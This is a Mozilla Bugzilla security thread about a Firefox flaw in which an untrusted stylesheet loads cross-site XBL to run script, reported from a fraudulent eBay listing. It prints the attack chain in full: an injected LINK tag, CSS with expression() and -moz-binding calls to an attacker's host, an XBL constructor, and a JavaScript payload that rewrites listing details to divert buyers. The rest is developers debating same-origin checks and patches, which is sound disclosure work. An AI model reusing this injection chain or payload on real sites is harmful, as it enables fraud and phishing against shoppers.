Closed Bug 481558 Opened 15 years ago Closed 15 years ago

Loading an untrusted stylesheet should not allow that stylesheet to inject script using XBL

Categories

(Core :: Security, defect)

defect
Not set
critical

Tracking

()

RESOLVED FIXED

People

(Reporter: bugzilla.mozilla.org, Assigned: sicking)

References

Details

(Keywords: verified1.9.0.9, verified1.9.1, Whiteboard: [sg:want] requires fix for 416942/483170)

Attachments

(5 files)

User-Agent:       Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6
Build Identifier: Mozilla/5.0 (X11; U; Linux i686; en-GB; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6

Demonstrated by a fraudulent ebay listing which caused in-page details to be rewritten using a script hosted outside the ebay.co.uk domain. Link at http://tinyurl.com/c7ow2l

This is a XSS attack which exploits XBL javascript bindings. The ebay listing contained this...

<LINK media=all href="http://petereales.web.officelive.com/Documents/index.htm" type=text/css rel=stylesheet>

http://petereales.web.officelive.com/Documents/index.htm contains this code...

body { width: expression(ebClientServerCallDynamicScriptObject('http://petereales.web.officelive.com/Documents/index.html')); -moz-binding: url(http://petereales.web.officelive.com/Documents/index.xml#index); }

http://petereales.web.officelive.com/Documents/index.xml#index contains this code...

<?xml version="1.0" encoding="utf-8"?> 
<bindings xmlns="http://www.mozilla.org/xbl" xmlns:xbl="http://www.mozilla.org/xbl">
<binding id="index">
<implementation>
<constructor>ebClientServerCallDynamicScriptObject('http://petereales.web.officelive.com/Documents/index.html');</constructor> 
</implementation>
</binding>
</bindings>

http://petereales.web.officelive.com/Documents/index.html contains this code...

if (typeof loadt == 'undefined') {
    var mail = 'fr33train@gmail.com';
    var price = '&#163;3,200.00';
    var iit = '1282528736197';
    var MA = new Array("Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec");
    var et = new Date(svrGMT + 3596);
    var year = et.getYear();
    if (year < 1000)
        year += 1900;
    year = new String(year);
    var cH = et.getHours();
    var cM = et.getMinutes();
    var cS = et.getSeconds();
    function lf() {
        var l = document.links;
        for (var i = 0; i < l.length; i++) {
            if (l[i].href.match(/\d{12}/i) && !l[i].href.match(/ebayphotohosting/i)) {
                l[i].href = l[i].href.replace(/\d{12}/g, iit);
            }
        }
        var f = document.forms;
        for (var i = 0; i < f.length; i++) {
            if (f[i].item) {
                f[i].item.value = iit;
            }
        }
        try {
            document.getElementById("FastVIDetailsBottom").innerHTML = "";
            itemId = iit;
        } catch(err) {}
        try {
            tabb = document.getElementsByTagName('table');
            for (i = tabb.length - 1; i >= 0; i--) {
                if (tabb[i].innerHTML.indexOf('Questions from other members') != -1 && i > 1) {
                    tabb[i - 1].style.display = 'none';
                    break;
                }
            }
        } catch(err) {}
    }
    
    document.getElementById("FastVIPBIBO").getElementsByTagName('table')[1].insertRow(1).insertCell(0).innerHTML = '<img src="http://pics.ebaystatic.com/aw/pics/s.gif" width="5" height="1"><span class="sectiontitle"><nobr><b>Note: This listing is restricted to pre-approved bidder/buyer list.</b></nobr></span><br><span class="standard">Email the seller at ' + mail + ' to buy this item.</span>';
    var t1 = document.getElementById("FastVIPDetails").getElementsByTagName('table')[0];
    var tr1 = t1.getElementsByTagName('tr');
    for (var i = 0; i < tr1.length; i++) {
        if (tr1[i].innerHTML.match(/<hr/i)) {
            break;
        }
    }
    c = t1.insertRow(i - 1).insertCell(0);
    c.colSpan = 4;
    c.innerHTML = '<img width="1" height="20" src="http://pics.ebaystatic.com/aw/pics/s.gif"/>';
    r = t1.insertRow(i);
    r.vAlign = "middle";
    c = r.insertCell(0);
    c.width = '25%';
    c.align = "left";
    c.innerHTML = '<span class="titlePurchase"><img align="middle" style="vertical-align: text-bottom;" alt="Buy It Now" src="http://pics.ebaystatic.com/aw/pics/bin_15x54.gif"/> price:</span>';
    c = r.insertCell(1);
    c.noWrap = 'yes';
    c.innerHTML = '<span class="sectiontitle"><b>' + price + '</b></span>';
    c = r.insertCell(2);
    c.width = '85%';
    c.innerHTML = '<button style="padding-right: 0px;" class="VIPriBtn" type="submit"><span class="btn"><span class="btn">Buy It Now ></span></span></button>';
    c = t1.insertRow(i + 1).insertCell(0);
    c.colSpan = 4;
    tr1 = t1.getElementsByTagName('tr');
    var nr = new RegExp("(\\d{1,3},\\d{1,3}|\\d{1,3})\\.\\d{2}");
    for (var i = tr1.length - 1; i >= 0; i--) {
        td1 = tr1[i].getElementsByTagName('td');
        for (var j = 0; j < td1.length; j++) {
            var ttd = td1[j].innerHTML;
            if (ttd.match(/End time/i)) {
                td1[j + 1].innerHTML = '<font color="#ff0000" class="sectiontitle"><nobr>59 mins 56 secs</nobr></font> <nobr>(' + MA[et.getMonth()] + "-" + et.getDate() + "-" + year.substr(2, 2) + " " + ((cH < 10) ? "0": "") + cH + ":" + ((cM < 10) ? "0": "") + cM + ":" + ((cS < 10) ? "0": "") + cS + ' PDT)</nobr>';
                break;
            }
            if (ttd.match(nr) && !tr1[i].innerHTML.match(/Buy It Now/)) {
                td1[j].innerHTML = ttd.replace(nr, "0.99");
                break;
            }
            if (ttd.match(/(costs:)/i)) {
                td1[j + 1].innerHTML = '<b>FREE</b><br>Standard Flat Rate Shipping Service';
                break;
            }
            if (ttd.match(/to:/i)) {
                td1[j + 1].innerHTML = 'United Kingdom, United States, Canada';
                break;
            }
            if (ttd.match(/Item location/i)) {
                td1[j + 1].innerHTML = 'FREE SHIPPING';
                break;
            }
            if (ttd.match(/History/i)) {
                td1[j + 1].innerHTML = td1[j + 1].innerHTML.replace(/(Bidders list|\d+\s[a-z]+)/, "0 Bids", "im");
                break;
            }
        }
        if (tr1[i].innerHTML.match(/(Quantity|Cost per item|High bidder)/im)) {
            t1.deleteRow(tr1[i].rowIndex);
        }
    }
    var d = document.getElementsByTagName('td');
    for (var i = 0; i < d.length; i++) {
    
        if (d[i].innerHTML.match(/<a href="https?:\/\/[\-A-Z0-9+&@#\/%?=~_|!:,.;]*[\-A-Z0-9+&@#\/%=~_|]">Email the seller<\/a>/im)) {
				d[i].innerHTML = d[i].innerHTML.replace(/<a href="https?:\/\/[\-A-Z0-9+&@#\/%?=~_|!:,.;]*[\-A-Z0-9+&@#\/%=~_|]">Email the seller<\/a>/im, 'Email the seller: '+mail);
				break;
			}
            
        if (d[i].innerHTML.match(/\d{12}$/)) {
            d[i].innerHTML = d[i].innerHTML.replace(/\d{12}/, iit);
        }
    }
    lf();
    
    ebay.oDocument.oPage.onAfterLoad = lf;
    loadt = true;
}

You can see more examples using this possible zero day attack at...

http://www.google.co.uk/search?q=ebClientServerCallDynamicScriptObject

Reproducible: Always

Steps to Reproduce:
1. Visit ebay page if it's still up at http://tinyurl.com/c7ow2l

Actual Results:  
The content being rewritten before your very eyes.
Reload and trying to hit stop before the XBL document loads means you can see the original page. If you let it fully load, you see the fraudulently modified page.
The content is rewritten unless you prevent that remote stylesheet chain being fully loaded.

Expected Results:  
This should not be possible and I believe reveals an XSS vulnerability for firefox. Firefox should prevent XBL bindings from remote locations in the same way it prevents other active content.

Let me know if I'm missing some important aspect here and this shouldn't be considered a security issue for Firefox. 

The use of XBL suggests that Firefox security is at fault here, but I'd like to understand more and file more relevant/useful/well-informed bugs in the future.
Just in case the listing gets taken down by ebay (I filed a report with them too). Here's the original page.
Related to bug 379959.
Which version of firefox were you using? These days we require that the XBL document is hosted on the same domain as the main document. So in order to attack a page on ebay.co.uk the XBL file needs to be hosted there too.

Or are you saying that you are able to host the XBL file on a different domain somehow?
Version: unspecified → 3.0 Branch
Sorry for no version info. It looked like this was visible in the auto-generated bug report on submission but I was mistaken. I'm running Firefox 3.06. 

Happens to be Ubuntu linux, but I suspect that's not relevant actually, and it is likely to be reproducible on other platforms.
As for 'able to host the XBL file on a different domain somehow' - just look at the bug report. My understanding of this situation is that it's a major violation of the Firefox security model, in that a <LINK ... rel=stylesheet> element has been able to inject an XBL binding hosted at officelive.com and therefore execute arbitrary code in the page - code which didn't originate at ebay.co.uk.

No doubt Ebay's filters should prevent this, and indeed I don't see the value of the Myspace-like open authoring of content as part of a powerfully authenticated domain with links to Paypal. However, Firefox's security model is also broken and this is the proof.

Also note this is a zero day attack which I experienced 'in the wild' whilst actually using eBay. It's not theoretical.
The other thing you can do to prove this (unless it's just me for some weird reason, is just visit the page which I've tinyurled). 

It's still running the malicious code, which it may not be for long. 

You will see the original details on an auction with 5 days 11 hours to run, and then they are swiftly updated to introduce fraudulent details, including a different third party who is supposedly hosting the auction, a different date, a different current bid. 

The id of the auction is changed so that an ordinary user can't report the listing as fraudulent, since the id shows up wrong. This is pretty serious, especially if they're able to use a frameset to monitor you entering your paypal credentials or something.

What exactly they're trying to do with this proof-of-concept attack is a mystery to me but it's real, and I was nearly duped into communicating with the imaginary seller, but it looked fishy to me so I investigated further.
Note also that this exploit is in use elsewhere, though god knows which auctions these XBLs are injected into...

http://clarkmrgn1.web.officelive.com/Documents/index.htm
http://www.vegadhesif.com/photos/jdr/index.html
http://ukphone.web44.net/addxz.xml

...if anyone knows a way to search for <LINK ...> inclusions then I can try to report affected auctions to eBay, but I don't think it's possible to search within elements like this with mainstream search engines.

Is it better not to report any further to ebay until a patch is certain?
The same-origin policy is applied to the entity loading the XBL.  If you're loading it from a stylesheet at officelive.com, then you can only load XBL from officelive.com.

In this case, the page being attacked allowed an off-site stylesheet, which is what allowed the off-site XBL to load.  But once you allow an off-site stylesheet, you don't even need XBL to rewrite the page at least as far as what the user sees is concerned.  Just CSS generated content and display:none is pretty much enough to make it say anything you want.

So the real bug here is in the site allowing off-site stylesheets, really.  That's not safe, and never has been in any browser.
So now I'm really confused. 

What you're saying is that there's a same origin policy which is designed to mitigate the possibility of javascript being loaded maliciously using a cross-site scripting attack by limiting the domains from which javascript can be loaded.

However, at the same time you're saying that it's OK for this same malicious operation to be possible using a Mozilla-specific extension which reopens the same hole that the same origin policy was crafted to prevent! 

Attacker: "Instead of loading javascript which is blocked by both Firefox and IE, why not load a stylesheet and take advantage of the powerful mozilla extensions which are available to go ahead and load code into the page as per the original attack."

Also if it's so easy to inject code using a CSS stylesheet, why are the attackers using a Mozilla extension to inject the code? Perhaps because the CSS content property has been specifically designed to limit the scope of what you can control in the page?
http://www.w3.org/TR/CSS2/generate.html#content

Maybe I've missed something, but there's also a difference between manipulating the content of a page, (e.g. hiding, showing and changing text - the domain of a stylesheet), and executing arbitrary client-side code in the page, which allows phishing for passwords, redirection of form submissions etc.

I don't believe you're right that these two scenarios have the same severity for the above reasons.
There's a same-origin policy designed to mitigate cross-site reading of data by preventing CSS under the control of site A to link to XBL from site B, since that would allow reading data in XML files in some (rather rare) circumstances.  This same-origin policy is working fine.

There is no same-origin policy on linking to scripts, in general (you can link cross-site with <script>).  There is similarly no same-origin policy on linking to stylesheets.  Both are dangerous operations; a site that cares about security can't allow either one.  eBay seems to be allowing at least linking to stylesheets.

I didn't say anything about injecting code via a CSS stylesheet.  I said something about rewriting the page.  I suggest giving CSS3 Generated Content (parts of which are implemented by some browsers) a careful look.  I also suggest reading the CSS2.1 generated content section, which is already vastly more powerful than the CSS2 section you linked to (eg. allows positioning, floating, creating tables, etc using generated content).  If a site is relying on the CSS2 limitations in generated content, it's already lost.

You're correct that the use of XBL to inject code here makes life a little bit easier for the attacker, in that they can rewrite the DOM, not just what the user sees...  But I think the relevant features of this attack could in fact be carried out in a browser that implements CSS3 Generated Content with a bit more effort, and most likely in one that implements just CSS2.1 Generated Content with another bit more effort.  At least in terms of totally changing what the user sees.  You wouldn't be able to change behavior of links and such; it's not clear to me whether that's relevant to the attack.

In other words, the site most certainly has a security hole, which should be reported to said site.

That doesn't mean we shouldn't do anything to mitigate on our end, of course.  The reason the security policy is what it is right now (based on the link origin rather than the document being targeted) is the following:

1)  It's required for making user style sheets (located at file://) linking to
    user XBL (located at file://) work with web pages (located at http://).
    We _might_ be able to work around this by skipping the same-origin load
    check for user stylesheets.
2)  It's desirable for making UA style sheets linking to chrome XBL work with
    web pages (e.g. for marquee or video controls to work).  Similar to above.
3)  Conceptually, for the data-stealing aspect of things, the relevant thing is
    who controls the thing being linked to and the source of the link (the
    stylesheet).
4)  This allows third-party stylesheets to provide the third party's XBL and
    have it actually apply to the page.  There are in fact sites that rely on
    this behavior; I can dig up the relevant bugs if really desired.
5)  Since the stylesheet can already totally mess with the way the page looks
    and behaves, the assumption was that any site trying to be secure would not
    allow links to stylesheets it doesn't trust.  Especially because Microsoft
    behaviors, Microsoft's script extensions to CSS, and XBL are all fairly
    well-known technologies that allow script to be added via CSS and have for
    _years_ now.

One mitigation option might be to disallow script in XBL bindings that are being applied via author sheet and are not same-origin with the bound document.  But we have to be pretty careful with item 4.  I _think_ the relevant bindings didn't have script in the one high-profile case we saw before we fixed things, but that doesn't mean they don't in other cases...

No matter what, eBay needs to fix their filters.  Their end of this is just broken.
(In reply to comment #8)
> The same-origin policy is applied to the entity loading the XBL.  If you're
> loading it from a stylesheet at officelive.com, then you can only load XBL from
> officelive.com.

Huh?! That was not the intention as I recall it. I thought we applied the same-origin policy such that the XBL file had to be same-origin as the bound *document*, no matter where the CSS was hosted. Specifically to prevent the type of attack described here.

Looking at the code it doesn't look like the case though. That is indeed bad.
No question about ebay. Why rely on your user's browser security model to limit risk when you can handle it server side and totally nail down the exploit. I completely agree.

They may be relying on the fact that the journey which incorporates paypal details navigates away from the page with the user-generated content, but I'm pretty sure it's possible to fake this with smart XMLHTTP loading, so that it never leaves the page which is under the control of the attacker, even though it appears to in its content refresh behaviour.

Glad to know that a response may be considered and I understand a little more now about the richer CSS models which you're comparing this with. 

I'm still a little concerned that this might be considered valid behaviour given the historical need for quite well-nuanced same-origin policies to close equivalent holes (in my view the same attack basically, except worryingly this is unique to the Mozilla platform's additional features).

Also I agree the scope of this specific attack (changing content) may be within reach of more advanced CSS standards, but client-side javascript (especially stuff like keyboard eventing) is a whole lot more worrying from a security standpoint. 

I just don't think they've fully explored what's possible given this loophole, yet. It would be good to think it's closed before someone does, and it becomes a mozilla-only-hole headline given the XBL dependency, unlike many other javascript loopholes which are consistently experienced across browsers.

I can see you're on the case and should leave it up to you guys to take it from here as it's outside my experience already.
> I thought we applied the same-origin policy such that the XBL file had to be
> same-origin as the bound *document*, no matter where the CSS was hosted.

Jonas, see bug 204140.  Before that, we were indeed using aBoundDocument->NodePrincipal() for the load check.

The bug that involved cross-site XBL linkage which would regress if we undid that change is bug 470049 and bug 387971.  wellsfargo.com links to an akamai stylesheet that loads akamai XBL.  The XBL there doesn't include script, as I said.  We fixed this on the 1.8 branch in bug 470461, sort of, by just not hiding the content if the XBL is blocked.

So I think we have three primary options:

1) Leave this as-is.
2) Change things so that for author sheets only we use the bound document
   principal for the security check, and land bug 470461's fix on trunk and
   1.9.1.
3) Change things so that for author sheets only we disallow script in XBL if
   the bound document is not same-origin with the XBL.

Relative drawbacks:  For option 1, as described in comment 12.  For option 2, breaks cases where bindings are used via an off-site stylesheet (say the Akamai case above) and the site relies on the binding somehow (which Wells Fargo does not, fwiw).  For option 3, breaks cases where a site relies on script in a binding.  Principle of least surprise is probably on the side of part 2, since loading the binding and applying its content but not scripts is a bit weird.  On the other hand, part 3 allows the presentation parts of XBL to continue working and just disables the unsafe part....

Long-term, the right fix, of course, is to run the XBL JS with the principal of the XBL document, but that's XBL2-land.  :(

sicking, thoughts?
Oh, and the point is that approach 2 and approach 3 are equally difficult in the sense of both needing us to detect XBL loads from author sheets specially...
Copying in Chris Co from the eBay Security Team.
Status: UNCONFIRMED → NEW
Ever confirmed: true
Group: core-security
Summary: XBL binding suggests possible zero day attack on Firefox → Loading an untrusted stylesheet should not allow that stylesheet to inject script using XBL
OS: Linux → All
Product: Firefox → Core
QA Contact: firefox → toolkit
Hardware: x86 → All
Version: 3.0 Branch → unspecified
(In reply to comment #0)
> Let me know if I'm missing some important aspect here and this shouldn't be
> considered a security issue for Firefox. 
> 
> The use of XBL suggests that Firefox security is at fault here, but I'd like to
> understand more and file more relevant/useful/well-informed bugs in the future.

Note the "expression()" bit in the stylesheet: current versions of IE show the same behavior. (IE8 removes Microsoft's version of this functionality -- good for them! Now to kill content-XBL on our end....)
I had a contact from theregister about this bug, and below is the relevant extract of our email exchange relating to the bug. 

My understanding is that I shouldn't report any technical details of the bug in the public domain at present.

However, if you feel it's not got any major significance then I can fill him in a little more.

The form below this comments box shows a status of 'Fixed' which seems a little unusual given the discussion. Is this considered fixed? If so I guess I can be more gabby with him.

>>>>>>>>>>>>>>>

Dan Goodin <sfdang@mindspring.com> WROTE 

    Hello,

    Dan Goodin, a reporter at The Register. Any idea what the official status is of the bug report you submitted?

    Kind regards,

    Dan Goodin

CEFN WROTE

Hi, Dan.

Status is that it's a New, Core Security bug.

I can't really offer you much more at this stage. That's one of the reasons for the controlled distribution of bugs with this potential significance. If I get confirmation from one of the mozilla teams that I can discuss freely in the public domain then I'm happy to share the whole tamale with you.

[...]

Cefn
http://cefn.com
This bug is not marked as 'Fixed'.  Maybe bug 453070 confused you?

I made this bug public on Thursday.  I'm not sure why The Register would think you have more information than is visible here.
(In reply to comment #17)
> My understanding is that I shouldn't report any technical details of the bug
> in the public domain at present.

Yes, definitely do not spread details about this bug until we have a patch released to our users and have given users a chance to upgrade. Otherwise we are just risking further attacks against users.

I'm starting to work on a patch right now, should have something in a few hours.
Assignee: nobody → jonas
Attached patch Possible patchSplinter Review
I think we should do this until we have the UA principal situation fixed.
Attachment #366158 - Flags: review?(bzbarsky)
> Yes, definitely do not spread details about this bug until we have a patch
> released to our users and have given users a chance to upgrade.

Among the people who do XSS attacks remote stylesheets and in-line style are well-known attack vectors. For example the four or five vectors following
http://ha.ckers.org/xss.html#XSS_Remote_style_sheet plus a few scattered others (search for "expression"). Note that in several vectors the point is not that expression() runs code--that's assumed--but rather how to sneak an expression into a document that's trying to defend against it. That is, both the attackers and defenders know about this and the attackers have to sneak by the defender's filters.
"Possible patch" still gives random file:// sheets extra privileges; that came up when we were discussing that approach, no?

For what it's worth, giving UA/user sheets the system principal, as also discussed is pretty easy; I'll post a patch later today.
(In reply to comment #22)
> "Possible patch" still gives random file:// sheets extra privileges; that came
> up when we were discussing that approach, no?

It doesn't give them more privileges than they already have. You'd have to get the user to save a site, while somehow getting the site to link to a stylesheet that you control somewhere else on the hard drive. Not even sure how you'd do that given that we update stylesheet link in the process of saving files right?

And even then the saved page doesn't run in-domain with the original site which means that it's very hard to cause much harm that the XBL is linked in.

> For what it's worth, giving UA/user sheets the system principal, as also
> discussed is pretty easy; I'll post a patch later today.

Sure, if we're comfortable doing that quickly, and doing that on all branches, that is even better.
I just realized (before reading comment 23), that what that patch really enforces is "if the bound document couldn't load the stylesheet that linked to the binding, then allow that sheet to apply the binding", with the obvious assumption that if the document didn't load it and it's applying to the document, then someone else who has the requisite permissions applied the sheat.  That's a pretty nice idea, actually.
Yeah, sorry, forgot the details of last nights patch. But that was exactly the idea. The only downside is that if a user adds a binding in a UA stylesheet and saves a file the UA binding won't be attached. That will get automatically fixed if we swich all UA stylesheets to chrome principals.
Shows how far I am from being a Firefox hacker! 

I didn't realise that Firefox actually doesn't save content based on a transformation of its HTTP stream, but based on the live document object model in some way, at least in this case.

Consequently the HTML source of zipped files included above ALREADY INCLUDE the changes executed by the malicious code, and are not a record of the unmodified page.

I was able to recover the original source, fortunately, since one of my test machines still had it loaded in memory. I'll also submit some small screenshots showing the impact of the exploit, examples of which I have shared with the Register.

I suppose from the Mozilla point of view, the main issue is that the document is being rewritten at all. However, there may be others looking into the social engineering or other aspects of this attack, and really want to know what the attackers were trying to do. This permits them to compare and contrast the before and after pages. 

If anyone really cares that much, they should be able to merge in the original document's content with Kompare or similar and see the exploit running.

Is this saving of actively modified content an intended behaviour, or itself somehow a consequence of the XBL binding?

It's taken an age to recover the original source. Next time I'll use wget for a superior browsing experience :)
Attachment #366158 - Flags: superreview?(bzbarsky)
> I didn't realise that Firefox actually doesn't save content based on a
> transformation of its HTTP stream

It's your choice when saving: when you save you choose whether to save as "HTML only" (just the original HTML), or "Web page, complete" (serialized DOM with all resources it's linking to at that point in time).
Comment on attachment 366158 [details] [diff] [review]
Possible patch

>+++ b/content/xbl/src/nsXBLService.cpp
>+        rv = aBoundDocument->NodePrincipal()->CheckMayLoad(aBindingURI,
>+                                                           PR_TRUE);

So... technically, if we're trying to protect aBoundDocument the CheckMayLoad should somehow be the other way.  This is the check for protecting the binding's data from the document...  This really only make a difference for file:// URIs, though, and I agree that it makes sense to allow a file:// document use whatever XBL it can load.

It's worth having a same-origin equivalent test checking that the XBL _is_ attached in that case.

As far as user/UA sheets, let's just handle that in bug 416942, I guess.  We can then evaluate which we feel is safer for branches.
Attachment #366158 - Flags: superreview?(bzbarsky)
Attachment #366158 - Flags: superreview+
Attachment #366158 - Flags: review?(bzbarsky)
Attachment #366158 - Flags: review+
I, like many others (including :sicking it seems) believed that the statement from https://developer.mozilla.org/en/XBL/XBL_1.0_Reference/Elements#binding
"The normal same-origin policy is used for web sites; they can only link to XBL files on the same domain, or within the chrome." meant that a page from good.com couldn't load a XBL binding from evil.com, no matter if imported by a stylesheet from the same evil.com (a stylesheet is not a web site, IMHO).

If I was not committed to supporting Firefox 2, I would have probably already dropped NoScript's own cross-site XBL protection (introduced in NoScript 1.1.8.5, months before Firefox 3's), which actually blocks *any* cross-site XBL (i.e. XBL from a domain different than the loading *document*) except from chrome: the way the statement above seemed to imply and the only effective way from a XSS mitigation standpoint. Blessed be FSM the Merciful for inspiring backward compatibility concerns in my soul ;)
That documentation just doesn't match what was implemented...  This is sadly common-seeming in our devmo security documentation recently.  :(

> (a stylesheet is not a web site, IMHO)

Well... it's an independent entity with an independent security context.  A site can load a stylesheet but not be able to read it.  A site can load a stylesheet which is not allowed to link to things the site can link to, or _is_ allowed to link to things the site cannot link to....

If you think a stylesheet somehow magically gets the security context of whatever site loads it, you're wrong.  Doing that would actually introduce various privacy and security bugs.
And just to make it clear, we're changing behavior so that we'll check _both_ the stylesheet and the bound document against the XBL.  But importing untrusted CSS is still a security hole one can drive a truck through for a site.
(In reply to comment #30)
> (From update of attachment 366158 [details] [diff] [review])
> >+++ b/content/xbl/src/nsXBLService.cpp
> >+        rv = aBoundDocument->NodePrincipal()->CheckMayLoad(aBindingURI,
> >+                                                           PR_TRUE);
> 
> So... technically, if we're trying to protect aBoundDocument the CheckMayLoad
> should somehow be the other way.  This is the check for protecting the
> binding's data from the document...  This really only make a difference for
> file:// URIs, though, and I agree that it makes sense to allow a file://
> document use whatever XBL it can load.

Yeah, I was thinking about this when writing the patch. However for file: it does make sense to me that you can only load XBL that is in a sub directory of the bound document.

> It's worth having a same-origin equivalent test checking that the XBL _is_
> attached in that case.

Not sure what you mean here?
Actually, the more I think about it, the more it makes sense to use CheckSameOriginURI. I think I want to use aBoundDocument->NodePrincipal()->GetURI though, right?
> Not sure what you mean here?

The patch includes a mochitest that verifies that if localhost:8888 links to a stylesheet at example.com and that stylesheet then tries to load XBL from example.com then the XBL is not applied.

It would be good to have a test that verifies that if localhost:8888 links to a stylesheet at localhost:8888 which loads XBL from localhost:8888 then the XBL _is_ applied.  Or do we have such a test already?
Using CheckSameOriginURI would break XBL linking in file:// documents completely, no?  That seems undesirable.
(In reply to comment #32)
> If you think a stylesheet somehow magically gets the security context of
> whatever site loads it, you're wrong.

No I don't, nor I implied that anywhere, as far as I can see.
I only said that the XBL policy change in Firefox 3, introduced as a XSS
mitigation, was ineffective since we didn't actually check same-domain with the
*document* as well, and that the documentation gave a false sense of security.

> we're changing behavior so that we'll check _both_
> the stylesheet and the bound document against the XBL.

That's the right way to do it, and how Firefox+NoScript has been already
behaving for a long time :)

> But importing untrusted
> CSS is still a security hole 
> one can drive a truck through for a site.

Completely agreed, from clickjacking to reading password fields.
(In reply to comment #37)
> Using CheckSameOriginURI would break XBL linking in file:// documents
> completely, no?  That seems undesirable.

No, you could still link to XBL in the same directory. I do agree that it makes it considerably harder to use XBL in file://, but honestly I'm not terribly concerned about that.

I would be fine with keeping the patch as is though given the current implementations of CheckMayLoad. If those change we can always revisit this code.

I'll add tests that check that XBL is applied as appropriate.
> No, you could still link to XBL in the same directory.

No, you couldn't.  For file:// URIs, CheckSameOriginURI is equivalent to an nsIFile::Equals() check.  If we had working file:// mochitests I'd be asking you to add a test right now... ;)

> but honestly I'm not terribly concerned about that.

I am, if we're taking the change on stable branches.

The rest sounds good.
So does that mean you are fine with the patch as is? Modulo needing additional tests.
Yes; that's why I marked r+.
Flags: blocking1.9.1+
Flags: blocking1.9.0.8?
Flags: wanted1.9.0.x+
Whiteboard: [sg:want]
userContent.css should probably be considered a UA stylesheet, too. Apparently it's not currently:
http://forums.mozillazine.org/viewtopic.php?p=5981365#p5981365
It is.  That's an unfortunate side-effect of using CheckLoadURI here: it always warns.  That sucks.  :(
I was worried about that, but didn't see any error-reporting code on a quick scan. Apparently I missed it :(

Can you file a separate bug on that and I'll come up with a patch.
Depends on: 483170
Flags: blocking1.9.0.8? → blocking1.9.0.8+
Depends on: 483340
(In reply to comment #46)
> I was worried about that, but didn't see any error-reporting code on a quick
> scan. Apparently I missed it :(
> 
> Can you file a separate bug on that and I'll come up with a patch.

I filed bug 483340 on this (I was the one who reported it in the forums).
No longer depends on: 483340
// Also make sure that we're same-origin with the bound document

has someone tested if data:text/xml counts for same origin ?
i am kinda missing the scope of this bug.

afaict ebay cried and you did a kludge.

is scripting caused by CSS considered a bug nowadays ?
> has someone tested if data:text/xml counts for same origin ?

No.

> afaict ebay cried and you did a kludge.

Pretty much, yes.

> is scripting caused by CSS considered a bug nowadays ?

Not really, imo.
> > has someone tested if data:text/xml counts for same origin ?
> No.

Correction.  It does, but only if a disabled-by-default preference is enabled.
Whiteboard: [sg:want] → [sg:want] requires fix for 483170
(In reply to comment #49)
> has someone tested if data:text/xml counts for same origin ?

Yes. test_bug379959.html in mochitest tests that data: urls are not loaded for -moz-binding.

(In reply to comment #50)
> afaict ebay cried and you did a kludge.

Define "kludge". What we did was to force that the XBL file is hosted on the same origin as the page.
>Define "kludge".

"kludge" is something very close to a "wallpaper patch".
i don't mean to flame the author of the patch.
mean to point out that XBL caused worse problems in the past than something that barely qualifies as a real XSS imo.
>real XSS

correction: it seems a real XSS but it is well documented behavior.
(In reply to comment #54)
> >Define "kludge".
> 
> "kludge" is something very close to a "wallpaper patch".

Then no, the patch is not a kludge.
(In reply to comment #55)
> >real XSS
> 
> correction: it seems a real XSS but it is well documented behavior.

It is real XSS, and this behavior conflicts with a documented XSS mitigation introduced in Firefox 3: see my comment #31 and http://hackademix.net/2009/03/09/cross-site-xbl-returns-from-the-dead/
Therefore it's far from "well documented behavior", and a legitimate bug (either failed mitigation or bad documentation). Fixing it was the right thing to do, even though importing unfiltered and untrusted 3rd party stylesheets remains a very stupid thing to do for many other reasons.
Comment on attachment 366158 [details] [diff] [review]
Possible patch

Approved for 1.9.0.8, a=dveditz for release-drivers
Attachment #366158 - Flags: approval1.9.0.8? → approval1.9.0.8+
Whiteboard: [sg:want] requires fix for 483170 → [sg:want] requires fix for 416942/483170
This was fixed by the patch in bug 416942 on the 1.9.0 branch.
Flags: in-testsuite+
Keywords: fixed1.9.0.8
This patch didn't land, but could we please still land the testcase?
I checked the testcase into CVS.
Flags: wanted1.8.1.x-
Verified for 1.9.0.9 using checked in testcase.
Verified for 1.9.1 with the testcase as well.
I strongly believe that this patch attempts to fix something that is not broken, and also breaks functionality in existing sites. Firefox shouldn't be crippled to accommodate one site's mistake in their server-side filtering. I'm wary of the precedent being set.

Suppose one runs a site with multiple subdomains based on user accounts - ADAM.mysite.com, BILLY.mysite.com, etc. Suppose also that, for security reasons, there are global css/xbl bindings linked to from each subdomain's HTML pages that can only be hosted on the WWW.mysite.com subdomain. This is now impossible as of Shiretoko 3.5b4pre. I'll have to manifest a workaround if this patch is not reversed, and I'm sure I'm not alone.

There has not been enough discussion about the obstinate frivolousness of this patch. It will cause problems for many unsuspecting content authors who are accustomed to the current ruleset for successful xbl bindings. I truly believe that the catalyst for this patch was eBay's laziness in server-side coding and not a legitimate security problem in Firefox.

Filtering css link tags from untrusted dynamic user content is entirely eBay's responsibility and such filtering is meant to be implemented server-side, NOT piecemeal at the browser level.
James, if you're relying on Mozilla's current XBL implementation as part of a website, you'll have even bigger issues in the not to far off future when it goes away altogether and is replaced with W3C XBL (which other than the name and the basic idea is pretty much completely different)...

Legitimate open web usage of XBL is very rare as far as we can tell; intranets or sites that require a login might be a different story, of course.
You need to log in before you can comment on or make changes to this bug.